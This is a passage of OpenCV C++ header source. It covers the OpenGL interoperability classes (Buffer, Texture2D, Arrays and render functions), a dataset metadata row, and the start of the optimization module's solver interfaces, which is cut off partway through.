namespace cv { namespace ogl {
/** @addtogroup core_opengl
This section describes OpenGL interoperability.
To enable OpenGL support, configure OpenCV using CMake with WITH_OPENGL=ON . Currently OpenGL is
supported only with WIN32, GTK and Qt backends on Windows and Linux (MacOS and Android are not
supported). For GTK backend gtkglext-1.0 library is required.
To use OpenGL functionality you should first create OpenGL context (window or frame buffer). You can
do this with namedWindow function or with other OpenGL toolkit (GLUT, for example).
*/
//! @{
/////////////////// OpenGL Objects ///////////////////
/** @brief Smart pointer for OpenGL buffer object with reference counting.
Buffer Objects are OpenGL objects that store an array of unformatted memory allocated by the OpenGL
context. These can be used to store vertex data, pixel data retrieved from images or the
framebuffer, and a variety of other things.
ogl::Buffer has interface similar with Mat interface and represents 2D array memory.
ogl::Buffer supports memory transfers between host and device and also can be mapped to CUDA memory.
*/
class CV_EXPORTS Buffer
{
public:
/** @brief The target defines how you intend to use the buffer object.
*/
enum Target
{
ARRAY_BUFFER = 0x8892, //!< The buffer will be used as a source for vertex data
ELEMENT_ARRAY_BUFFER = 0x8893, //!< The buffer will be used for indices (in glDrawElements, for example)
PIXEL_PACK_BUFFER = 0x88EB, //!< The buffer will be used for reading from OpenGL textures
PIXEL_UNPACK_BUFFER = 0x88EC //!< The buffer will be used for writing to OpenGL textures
};
enum Access
{
READ_ONLY = 0x88B8,
WRITE_ONLY = 0x88B9,
READ_WRITE = 0x88BA
};
/** @brief The constructors.
Creates empty ogl::Buffer object, creates ogl::Buffer object from existed buffer ( abufId
parameter), allocates memory for ogl::Buffer object or copies from host/device memory.
*/
Buffer();
/** @overload
@param arows Number of rows in a 2D array.
@param acols Number of columns in a 2D array.
@param atype Array type ( CV_8UC1, ..., CV_64FC4 ). See Mat for details.
@param abufId Buffer object name.
@param autoRelease Auto release mode (if true, release will be called in object's destructor).
*/
Buffer(int arows, int acols, int atype, unsigned int abufId, bool autoRelease = false);
/** @overload
@param asize 2D array size.
@param atype Array type ( CV_8UC1, ..., CV_64FC4 ). See Mat for details.
@param abufId Buffer object name.
@param autoRelease Auto release mode (if true, release will be called in object's destructor).
*/
Buffer(Size asize, int atype, unsigned int abufId, bool autoRelease = false);
/** @overload
@param arows Number of rows in a 2D array.
@param acols Number of columns in a 2D array.
@param atype Array type ( CV_8UC1, ..., CV_64FC4 ). See Mat for details.
@param target Buffer usage. See cv::ogl::Buffer::Target .
@param autoRelease Auto release mode (if true, release will be called in object's destructor).
*/
Buffer(int arows, int acols, int atype, Target target = ARRAY_BUFFER, bool autoRelease = false);
/** @overload
@param asize 2D array size.
@param atype Array type ( CV_8UC1, ..., CV_64FC4 ). See Mat for details.
@param target Buffer usage. See cv::ogl::Buffer::Target .
@param autoRelease Auto release mode (if true, release will be called in object's destructor).
*/
Buffer(Size asize, int atype, Target target = ARRAY_BUFFER, bool autoRelease = false);
/** @overload
@param arr Input array (host or device memory, it can be Mat , cuda::GpuMat or std::vector ).
@param target Buffer usage. See cv::ogl::Buffer::Target .
@param autoRelease Auto release mode (if true, release will be called in object's destructor).
*/
explicit Buffer(InputArray arr, Target target = ARRAY_BUFFER, bool autoRelease = false);
/** @brief Allocates memory for ogl::Buffer object.
@param arows Number of rows in a 2D array.
@param acols Number of columns in a 2D array.
@param atype Array type ( CV_8UC1, ..., CV_64FC4 ). See Mat for details.
@param target Buffer usage. See cv::ogl::Buffer::Target .
@param autoRelease Auto release mode (if true, release will be called in object's destructor).
*/
void create(int arows, int acols, int atype, Target target = ARRAY_BUFFER, bool autoRelease = false);
/** @overload
@param asize 2D array size.
@param atype Array type ( CV_8UC1, ..., CV_64FC4 ). See Mat for details.
@param target Buffer usage. See cv::ogl::Buffer::Target .
@param autoRelease Auto release mode (if true, release will be called in object's destructor).
*/
void create(Size asize, int atype, Target target = ARRAY_BUFFER, bool autoRelease = false);
/** @brief Decrements the reference counter and destroys the buffer object if needed.
The function will call setAutoRelease(true) .
*/
void release();
/** @brief Sets auto release mode.
The lifetime of the OpenGL object is tied to the lifetime of the context. If OpenGL context was
bound to a window it could be released at any time (user can close a window). If object's destructor
is called after destruction of the context it will cause an error. Thus ogl::Buffer doesn't destroy
OpenGL object in destructor by default (all OpenGL resources will be released with OpenGL context).
This function can force ogl::Buffer destructor to destroy OpenGL object.
@param flag Auto release mode (if true, release will be called in object's destructor).
*/
void setAutoRelease(bool flag);
/** @brief Copies from host/device memory to OpenGL buffer.
@param arr Input array (host or device memory, it can be Mat , cuda::GpuMat or std::vector ).
@param target Buffer usage. See cv::ogl::Buffer::Target .
@param autoRelease Auto release mode (if true, release will be called in object's destructor).
*/
void copyFrom(InputArray arr, Target target = ARRAY_BUFFER, bool autoRelease = false);
/** @overload */
void copyFrom(InputArray arr, cuda::Stream& stream, Target target = ARRAY_BUFFER, bool autoRelease = false);
/** @brief Copies from OpenGL buffer to host/device memory or another OpenGL buffer object.
@param arr Destination array (host or device memory, can be Mat , cuda::GpuMat , std::vector or
ogl::Buffer ).
*/
void copyTo(OutputArray arr) const;
/** @overload */
void copyTo(OutputArray arr, cuda::Stream& stream) const;
/** @brief Creates a full copy of the buffer object and the underlying data.
@param target Buffer usage for destination buffer.
@param autoRelease Auto release mode for destination buffer.
*/
Buffer clone(Target target = ARRAY_BUFFER, bool autoRelease = false) const;
/** @brief Binds OpenGL buffer to the specified buffer binding point.
@param target Binding point. See cv::ogl::Buffer::Target .
*/
void bind(Target target) const;
/** @brief Unbind any buffers from the specified binding point.
@param target Binding point. See cv::ogl::Buffer::Target .
*/
static void unbind(Target target);
/** @brief Maps OpenGL buffer to host memory.
mapHost maps to the client's address space the entire data store of the buffer object. The data can
then be directly read and/or written relative to the returned pointer, depending on the specified
access policy.
A mapped data store must be unmapped with ogl::Buffer::unmapHost before its buffer object is used.
This operation can lead to memory transfers between host and device.
Only one buffer object can be mapped at a time.
@param access Access policy, indicating whether it will be possible to read from, write to, or both
read from and write to the buffer object's mapped data store. The symbolic constant must be
ogl::Buffer::READ_ONLY , ogl::Buffer::WRITE_ONLY or ogl::Buffer::READ_WRITE .
*/
Mat mapHost(Access access);
/** @brief Unmaps OpenGL buffer.
*/
void unmapHost();
//! map to device memory (blocking)
cuda::GpuMat mapDevice();
void unmapDevice();
/** @brief Maps OpenGL buffer to CUDA device memory.
This operation doesn't copy data. Several buffer objects can be mapped to CUDA memory at a time.
A mapped data store must be unmapped with ogl::Buffer::unmapDevice before its buffer object is used.
*/
cuda::GpuMat mapDevice(cuda::Stream& stream);
/** @brief Unmaps OpenGL buffer.
*/
void unmapDevice(cuda::Stream& stream);
int rows() const;
int cols() const;
Size size() const;
bool empty() const;
int type() const;
int depth() const;
int channels() const;
int elemSize() const;
int elemSize1() const;
//! get OpenGL opject id
unsigned int bufId() const;
class Impl;
private:
Ptr<Impl> impl_;
int rows_;
int cols_;
int type_;
};
/** @brief Smart pointer for OpenGL 2D texture memory with reference counting.
*/
class CV_EXPORTS Texture2D
{
public:
/** @brief An Image Format describes the way that the images in Textures store their data.
*/
enum Format
{
NONE = 0,
DEPTH_COMPONENT = 0x1902, //!< Depth
RGB = 0x1907, //!< Red, Green, Blue
RGBA = 0x1908 //!< Red, Green, Blue, Alpha
};
/** @brief The constructors.
Creates empty ogl::Texture2D object, allocates memory for ogl::Texture2D object or copies from
host/device memory.
*/
Texture2D();
/** @overload */
Texture2D(int arows, int acols, Format aformat, unsigned int atexId, bool autoRelease = false);
/** @overload */
Texture2D(Size asize, Format aformat, unsigned int atexId, bool autoRelease = false);
/** @overload
@param arows Number of rows.
@param acols Number of columns.
@param aformat Image format. See cv::ogl::Texture2D::Format .
@param autoRelease Auto release mode (if true, release will be called in object's destructor).
*/
Texture2D(int arows, int acols, Format aformat, bool autoRelease = false);
/** @overload
@param asize 2D array size.
@param aformat Image format. See cv::ogl::Texture2D::Format .
@param autoRelease Auto release mode (if true, release will be called in object's destructor).
*/
Texture2D(Size asize, Format aformat, bool autoRelease = false);
/** @overload
@param arr Input array (host or device memory, it can be Mat , cuda::GpuMat or ogl::Buffer ).
@param autoRelease Auto release mode (if true, release will be called in object's destructor).
*/
explicit Texture2D(InputArray arr, bool autoRelease = false);
/** @brief Allocates memory for ogl::Texture2D object.
@param arows Number of rows.
@param acols Number of columns.
@param aformat Image format. See cv::ogl::Texture2D::Format .
@param autoRelease Auto release mode (if true, release will be called in object's destructor).
*/
void create(int arows, int acols, Format aformat, bool autoRelease = false);
/** @overload
@param asize 2D array size.
@param aformat Image format. See cv::ogl::Texture2D::Format .
@param autoRelease Auto release mode (if true, release will be called in object's destructor).
*/
void create(Size asize, Format aformat, bool autoRelease = false);
/** @brief Decrements the reference counter and destroys the texture object if needed.
The function will call setAutoRelease(true) .
*/
void release();
/** @brief Sets auto release mode.
@param flag Auto release mode (if true, release will be called in object's destructor).
The lifetime of the OpenGL object is tied to the lifetime of the context. If OpenGL context was
bound to a window it could be released at any time (user can close a window). If object's destructor
is called after destruction of the context it will cause an error. Thus ogl::Texture2D doesn't
destroy OpenGL object in destructor by default (all OpenGL resources will be released with OpenGL
context). This function can force ogl::Texture2D destructor to destroy OpenGL object.
*/
void setAutoRelease(bool flag);
/** @brief Copies from host/device memory to OpenGL texture.
@param arr Input array (host or device memory, it can be Mat , cuda::GpuMat or ogl::Buffer ).
@param autoRelease Auto release mode (if true, release will be called in object's destructor).
*/
void copyFrom(InputArray arr, bool autoRelease = false);
/** @brief Copies from OpenGL texture to host/device memory or another OpenGL texture object.
@param arr Destination array (host or device memory, can be Mat , cuda::GpuMat , ogl::Buffer or
ogl::Texture2D ).
@param ddepth Destination depth.
@param autoRelease Auto release mode for destination buffer (if arr is OpenGL buffer or texture).
*/
void copyTo(OutputArray arr, int ddepth = CV_32F, bool autoRelease = false) const;
/** @brief Binds texture to current active texture unit for GL_TEXTURE_2D target.
*/
void bind() const;
int rows() const;
int cols() const;
Size size() const;
bool empty() const;
Format format() const;
//! get OpenGL opject id
unsigned int texId() const;
class Impl;
private:
Ptr<Impl> impl_;
int rows_;
int cols_;
Format format_;
};
/** @brief Wrapper for OpenGL Client-Side Vertex arrays.
ogl::Arrays stores vertex data in ogl::Buffer objects.
*/
class CV_EXPORTS Arrays
{
public:
/** @brief Default constructor
*/
Arrays();
/** @brief Sets an array of vertex coordinates.
@param vertex array with vertex coordinates, can be both host and device memory.
*/
void setVertexArray(InputArray vertex);
/** @brief Resets vertex coordinates.
*/
void resetVertexArray();
/** @brief Sets an array of vertex colors.
@param color array with vertex colors, can be both host and device memory.
*/
void setColorArray(InputArray color);
/** @brief Resets vertex colors.
*/
void resetColorArray();
/** @brief Sets an array of vertex normals.
@param normal array with vertex normals, can be both host and device memory.
*/
void setNormalArray(InputArray normal);
/** @brief Resets vertex normals.
*/
void resetNormalArray();
/** @brief Sets an array of vertex texture coordinates.
@param texCoord array with vertex texture coordinates, can be both host and device memory.
*/
void setTexCoordArray(InputArray texCoord);
/** @brief Resets vertex texture coordinates.
*/
void resetTexCoordArray();
/** @brief Releases all inner buffers.
*/
void release();
/** @brief Sets auto release mode all inner buffers.
@param flag Auto release mode.
*/
void setAutoRelease(bool flag);
/** @brief Binds all vertex arrays.
*/
void bind() const;
/** @brief Returns the vertex count.
*/
int size() const;
bool empty() const;
private:
int size_;
Buffer vertex_;
Buffer color_;
Buffer normal_;
Buffer texCoord_;
};
/////////////////// Render Functions ///////////////////
//! render mode
enum RenderModes {
POINTS = 0x0000,
LINES = 0x0001,
LINE_LOOP = 0x0002,
LINE_STRIP = 0x0003,
TRIANGLES = 0x0004,
TRIANGLE_STRIP = 0x0005,
TRIANGLE_FAN = 0x0006,
QUADS = 0x0007,
QUAD_STRIP = 0x0008,
POLYGON = 0x0009
};
/** @brief Render OpenGL texture or primitives.
@param tex Texture to draw.
@param wndRect Region of window, where to draw a texture (normalized coordinates).
@param texRect Region of texture to draw (normalized coordinates).
*/
CV_EXPORTS void render(const Texture2D& tex,
Rect_<double> wndRect = Rect_<double>(0.0, 0.0, 1.0, 1.0),
Rect_<double> texRect = Rect_<double>(0.0, 0.0, 1.0, 1.0));
/** @overload
@param arr Array of privitives vertices.
@param mode Render mode. One of cv::ogl::RenderModes
@param color Color for all vertices. Will be used if arr doesn't contain color array.
*/
CV_EXPORTS void render(const Arrays& arr, int mode = POINTS, Scalar color = Scalar::all(255));
/** @overload
@param arr Array of privitives vertices.
@param indices Array of vertices indices (host or device memory).
@param mode Render mode. One of cv::ogl::RenderModes
@param color Color for all vertices. Will be used if arr doesn't contain color array.
*/
CV_EXPORTS void render(const Arrays& arr, InputArray indices, int mode = POINTS, Scalar color = Scalar::all(255));
/////////////////// CL-GL Interoperability Functions ///////////////////
namespace ocl {
using namespace cv::ocl;
// TODO static functions in the Context class
/** @brief Creates OpenCL context from GL.
@return Returns reference to OpenCL Context
*/
CV_EXPORTS Context& initializeContextFromGL();
} // namespace cv::ogl::ocl
/** @brief Converts InputArray to Texture2D object.
@param src - source InputArray.
@param texture - destination Texture2D object.
*/
CV_EXPORTS void convertToGLTexture2D(InputArray src, Texture2D& texture);
/** @brief Converts Texture2D object to OutputArray.
@param texture - source Texture2D object.
@param dst - destination OutputArray.
*/
CV_EXPORTS void convertFromGLTexture2D(const Texture2D& texture, OutputArray dst);
/** @brief Maps Buffer object to process on CL side (convert to UMat).
Function creates CL buffer from GL one, and then constructs UMat that can be used
to process buffer data with OpenCV functions. Note that in current implementation
UMat constructed this way doesn't own corresponding GL buffer object, so it is
the user responsibility to close down CL/GL buffers relationships by explicitly
calling unmapGLBuffer() function.
@param buffer - source Buffer object.
@param accessFlags - data access flags (ACCESS_READ|ACCESS_WRITE).
@return Returns UMat object
*/
CV_EXPORTS UMat mapGLBuffer(const Buffer& buffer, AccessFlag accessFlags = ACCESS_READ | ACCESS_WRITE);
/** @brief Unmaps Buffer object (releases UMat, previously mapped from Buffer).
Function must be called explicitly by the user for each UMat previously constructed
by the call to mapGLBuffer() function.
@param u - source UMat, created by mapGLBuffer().
*/
CV_EXPORTS void unmapGLBuffer(UMat& u);
//! @}
}} // namespace cv::ogl
namespace cv { namespace cuda {
/** @brief Sets a CUDA device and initializes it for the current thread with OpenGL interoperability.
This function should be explicitly called after OpenGL context creation and before any CUDA calls.
@param device System index of a CUDA device starting with 0.
@ingroup core_opengl
*/
CV_EXPORTS void setGlDevice(int device = 0);
}}
//! @cond IGNORED
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
inline
cv::ogl::Buffer::Buffer(int arows, int acols, int atype, Target target, bool autoRelease) : rows_(0), cols_(0), type_(0)
{
create(arows, acols, atype, target, autoRelease);
}
inline
cv::ogl::Buffer::Buffer(Size asize, int atype, Target target, bool autoRelease) : rows_(0), cols_(0), type_(0)
{
create(asize, atype, target, autoRelease);
}
inline
void cv::ogl::Buffer::create(Size asize, int atype, Target target, bool autoRelease)
{
create(asize.height, asize.width, atype, target, autoRelease);
}
inline
int cv::ogl::Buffer::rows() const
{
return rows_;
}
inline
int cv::ogl::Buffer::cols() const
{
return cols_;
}
inline
cv::Size cv::ogl::Buffer::size() const
{
return Size(cols_, rows_);
}
inline
bool cv::ogl::Buffer::empty() const
{
return rows_ == 0 || cols_ == 0;
}
inline
int cv::ogl::Buffer::type() const
{
return type_;
}
inline
int cv::ogl::Buffer::depth() const
{
return CV_MAT_DEPTH(type_);
}
inline
int cv::ogl::Buffer::channels() const
{
return CV_MAT_CN(type_);
}
inline
int cv::ogl::Buffer::elemSize() const
{
return CV_ELEM_SIZE(type_);
}
inline
int cv::ogl::Buffer::elemSize1() const
{
return CV_ELEM_SIZE1(type_);
}
///////
inline
cv::ogl::Texture2D::Texture2D(int arows, int acols, Format aformat, bool autoRelease) : rows_(0), cols_(0), format_(NONE)
{
create(arows, acols, aformat, autoRelease);
}
inline
cv::ogl::Texture2D::Texture2D(Size asize, Format aformat, bool autoRelease) : rows_(0), cols_(0), format_(NONE)
{
create(asize, aformat, autoRelease);
}
inline
void cv::ogl::Texture2D::create(Size asize, Format aformat, bool autoRelease)
{
create(asize.height, asize.width, aformat, autoRelease);
}
inline
int cv::ogl::Texture2D::rows() const
{
return rows_;
}
inline
int cv::ogl::Texture2D::cols() const
{
return cols_;
}
inline
cv::Size cv::ogl::Texture2D::size() const
{
return Size(cols_, rows_);
}
inline
bool cv::ogl::Texture2D::empty() const
{
return rows_ == 0 || cols_ == 0;
}
inline
cv::ogl::Texture2D::Format cv::ogl::Texture2D::format() const
{
return format_;
}
///////
inline
cv::ogl::Arrays::Arrays() : size_(0)
{
}
inline
int cv::ogl::Arrays::size() const
{
return size_;
}
inline
bool cv::ogl::Arrays::empty() const
{
return size_ == 0;
}
//! @endcond
#endif /* OPENCV_CORE_OPENGL_HPP */
| 23,937 | opengl | hpp | en | cpp | code | {"qsc_code_num_words": 3213, "qsc_code_num_chars": 23937.0, "qsc_code_mean_word_length": 5.07189542, "qsc_code_frac_words_unique": 0.16682228, "qsc_code_frac_chars_top_2grams": 0.01227295, "qsc_code_frac_chars_top_3grams": 0.02025037, "qsc_code_frac_chars_top_4grams": 0.02650957, "qsc_code_frac_chars_dupe_5grams": 0.53062101, "qsc_code_frac_chars_dupe_6grams": 0.4872975, "qsc_code_frac_chars_dupe_7grams": 0.44734904, "qsc_code_frac_chars_dupe_8grams": 0.41531664, "qsc_code_frac_chars_dupe_9grams": 0.37628866, "qsc_code_frac_chars_dupe_10grams": 0.35051546, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01242367, "qsc_code_frac_chars_whitespace": 0.20641684, "qsc_code_size_file_byte": 23937.0, "qsc_code_num_lines": 725.0, "qsc_code_num_chars_line_max": 122.0, "qsc_code_num_chars_line_mean": 33.01655172, "qsc_code_frac_chars_alphabet": 0.84544115, "qsc_code_frac_chars_comments": 0.66863015, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.27203065, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00289965, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.01512859, "qsc_code_frac_lines_prompt_comments": 0.00137931, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.26436782, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.32183908, "qsc_codecpp_frac_lines_print": 0.0} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 1, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/optim.hpp | /*M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2013, OpenCV Foundation, all rights reserved.
// Third party copyrights are property of their respective owners.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors "as is" and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the OpenCV Foundation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//M*/
#ifndef OPENCV_OPTIM_HPP
#define OPENCV_OPTIM_HPP
#include "opencv2/core.hpp"
namespace cv
{
/** @addtogroup core_optim
The algorithms in this section minimize or maximize function value within specified constraints or
without any constraints.
@{
*/
/** @brief Basic interface for all solvers
*/
class CV_EXPORTS MinProblemSolver : public Algorithm
{
public:
/** @brief Represents function being optimized
*/
class CV_EXPORTS Function
{
public:
virtual ~Function() {}
virtual int getDims() const = 0;
virtual double getGradientEps() const;
virtual double calc(const double* x) const = 0;
virtual void getGradient(const double* x,double* grad);
};
/** @brief Getter for the optimized function.
The optimized function is represented by Function interface, which requires derivatives to
implement the calc(double*) and getDim() methods to evaluate the function.
@return Smart-pointer to an object that implements Function interface - it represents the
function that is being optimized. It can be empty, if no function was given so far.
*/
virtual Ptr<Function> getFunction() const = 0;
/** @brief Setter for the optimized function.
*It should be called at least once before the call to* minimize(), as default value is not usable.
@param f The new function to optimize.
*/
virtual void setFunction(const Ptr<Function>& f) = 0;
/** @brief Getter for the previously set terminal criteria for this algorithm.
@return Deep copy of the terminal criteria used at the moment.
*/
virtual TermCriteria getTermCriteria() const = 0;
/** @brief Set terminal criteria for solver.
This method *is not necessary* to be called before the first call to minimize(), as the default
value is sensible.
Algorithm stops when the number of function evaluations done exceeds termcrit.maxCount, when
the function values at the vertices of simplex are within termcrit.epsilon range or simplex
becomes so small that it can enclosed in a box with termcrit.epsilon sides, whatever comes
first.
@param termcrit Terminal criteria to be used, represented as cv::TermCriteria structure.
*/
virtual void setTermCriteria(const TermCriteria& termcrit) = 0;
/** @brief actually runs the algorithm and performs the minimization.
The sole input parameter determines the centroid of the starting simplex (roughly, it tells
where to start), all the others (terminal criteria, initial step, function to be minimized) are
supposed to be set via the setters before the call to this method or the default values (not
always sensible) will be used.
@param x The initial point, that will become a centroid of an initial simplex. After the algorithm
will terminate, it will be set to the point where the algorithm stops, the point of possible
minimum.
@return The value of a function at the point found.
*/
virtual double minimize(InputOutputArray x) = 0;
};
/** @brief This class is used to perform the non-linear non-constrained minimization of a function,
defined on an `n`-dimensional Euclidean space, using the **Nelder-Mead method**, also known as
**downhill simplex method**. The basic idea about the method can be obtained from
<http://en.wikipedia.org/wiki/Nelder-Mead_method>.
It should be noted, that this method, although deterministic, is rather a heuristic and therefore
may converge to a local minima, not necessary a global one. It is iterative optimization technique,
which at each step uses an information about the values of a function evaluated only at `n+1`
points, arranged as a *simplex* in `n`-dimensional space (hence the second name of the method). At
each step new point is chosen to evaluate function at, obtained value is compared with previous
ones and based on this information simplex changes it's shape , slowly moving to the local minimum.
Thus this method is using *only* function values to make decision, on contrary to, say, Nonlinear
Conjugate Gradient method (which is also implemented in optim).
Algorithm stops when the number of function evaluations done exceeds termcrit.maxCount, when the
function values at the vertices of simplex are within termcrit.epsilon range or simplex becomes so
small that it can enclosed in a box with termcrit.epsilon sides, whatever comes first, for some
defined by user positive integer termcrit.maxCount and positive non-integer termcrit.epsilon.
@note DownhillSolver is a derivative of the abstract interface
cv::MinProblemSolver, which in turn is derived from the Algorithm interface and is used to
encapsulate the functionality, common to all non-linear optimization algorithms in the optim
module.
@note term criteria should meet following condition:
@code
termcrit.type == (TermCriteria::MAX_ITER + TermCriteria::EPS) && termcrit.epsilon > 0 && termcrit.maxCount > 0
@endcode
*/
class CV_EXPORTS DownhillSolver : public MinProblemSolver
{
public:
/** @brief Returns the initial step that will be used in downhill simplex algorithm.
@param step Initial step that will be used in algorithm. Note, that although corresponding setter
accepts column-vectors as well as row-vectors, this method will return a row-vector.
@see DownhillSolver::setInitStep
*/
virtual void getInitStep(OutputArray step) const=0;
/** @brief Sets the initial step that will be used in downhill simplex algorithm.
Step, together with initial point (given in DownhillSolver::minimize) are two `n`-dimensional
vectors that are used to determine the shape of initial simplex. Roughly said, initial point
determines the position of a simplex (it will become simplex's centroid), while step determines the
spread (size in each dimension) of a simplex. To be more precise, if \f$s,x_0\in\mathbb{R}^n\f$ are
the initial step and initial point respectively, the vertices of a simplex will be:
\f$v_0:=x_0-\frac{1}{2} s\f$ and \f$v_i:=x_0+s_i\f$ for \f$i=1,2,\dots,n\f$ where \f$s_i\f$ denotes
projections of the initial step of *n*-th coordinate (the result of projection is treated to be
vector given by \f$s_i:=e_i\cdot\left<e_i\cdot s\right>\f$, where \f$e_i\f$ form canonical basis)
@param step Initial step that will be used in algorithm. Roughly said, it determines the spread
(size in each dimension) of an initial simplex.
*/
virtual void setInitStep(InputArray step)=0;
/** @brief This function returns the reference to the ready-to-use DownhillSolver object.
All the parameters are optional, so this procedure can be called even without parameters at
all. In this case, the default values will be used. As default value for terminal criteria are
the only sensible ones, MinProblemSolver::setFunction() and DownhillSolver::setInitStep()
should be called upon the obtained object, if the respective parameters were not given to
create(). Otherwise, the two ways (give parameters to createDownhillSolver() or miss them out
and call the MinProblemSolver::setFunction() and DownhillSolver::setInitStep()) are absolutely
equivalent (and will drop the same errors in the same way, should invalid input be detected).
@param f Pointer to the function that will be minimized, similarly to the one you submit via
MinProblemSolver::setFunction.
@param initStep Initial step, that will be used to construct the initial simplex, similarly to the one
you submit via MinProblemSolver::setInitStep.
@param termcrit Terminal criteria to the algorithm, similarly to the one you submit via
MinProblemSolver::setTermCriteria.
*/
static Ptr<DownhillSolver> create(const Ptr<MinProblemSolver::Function>& f=Ptr<MinProblemSolver::Function>(),
InputArray initStep=Mat_<double>(1,1,0.0),
TermCriteria termcrit=TermCriteria(TermCriteria::MAX_ITER+TermCriteria::EPS,5000,0.000001));
};
/** @brief This class is used to perform the non-linear non-constrained minimization of a function
with known gradient,
defined on an *n*-dimensional Euclidean space, using the **Nonlinear Conjugate Gradient method**.
The implementation was done based on the beautifully clear explanatory article [An Introduction to
the Conjugate Gradient Method Without the Agonizing
Pain](http://www.cs.cmu.edu/~quake-papers/painless-conjugate-gradient.pdf) by Jonathan Richard
Shewchuk. The method can be seen as an adaptation of a standard Conjugate Gradient method (see, for
example <http://en.wikipedia.org/wiki/Conjugate_gradient_method>) for numerically solving the
systems of linear equations.
It should be noted, that this method, although deterministic, is rather a heuristic method and
therefore may converge to a local minima, not necessary a global one. What is even more disastrous,
most of its behaviour is ruled by gradient, therefore it essentially cannot distinguish between
local minima and maxima. Therefore, if it starts sufficiently near to the local maximum, it may
converge to it. Another obvious restriction is that it should be possible to compute the gradient of
a function at any point, thus it is preferable to have analytic expression for gradient and
computational burden should be born by the user.
The latter responsibility is accomplished via the getGradient method of a
MinProblemSolver::Function interface (which represents function being optimized). This method takes
point a point in *n*-dimensional space (first argument represents the array of coordinates of that
point) and compute its gradient (it should be stored in the second argument as an array).
@note class ConjGradSolver thus does not add any new methods to the basic MinProblemSolver interface.
@note term criteria should meet following condition:
@code
termcrit.type == (TermCriteria::MAX_ITER + TermCriteria::EPS) && termcrit.epsilon > 0 && termcrit.maxCount > 0
// or
termcrit.type == TermCriteria::MAX_ITER) && termcrit.maxCount > 0
@endcode
*/
class CV_EXPORTS ConjGradSolver : public MinProblemSolver
{
public:
/** @brief This function returns the reference to the ready-to-use ConjGradSolver object.
All the parameters are optional, so this procedure can be called even without parameters at
all. In this case, the default values will be used. As default value for terminal criteria are
the only sensible ones, MinProblemSolver::setFunction() should be called upon the obtained
object, if the function was not given to create(). Otherwise, the two ways (submit it to
create() or miss it out and call the MinProblemSolver::setFunction()) are absolutely equivalent
(and will drop the same errors in the same way, should invalid input be detected).
@param f Pointer to the function that will be minimized, similarly to the one you submit via
MinProblemSolver::setFunction.
@param termcrit Terminal criteria to the algorithm, similarly to the one you submit via
MinProblemSolver::setTermCriteria.
*/
static Ptr<ConjGradSolver> create(const Ptr<MinProblemSolver::Function>& f=Ptr<ConjGradSolver::Function>(),
TermCriteria termcrit=TermCriteria(TermCriteria::MAX_ITER+TermCriteria::EPS,5000,0.000001));
};
//! return codes for cv::solveLP() function
enum SolveLPResult
{
SOLVELP_UNBOUNDED = -2, //!< problem is unbounded (target function can achieve arbitrary high values)
SOLVELP_UNFEASIBLE = -1, //!< problem is unfeasible (there are no points that satisfy all the constraints imposed)
SOLVELP_SINGLE = 0, //!< there is only one maximum for target function
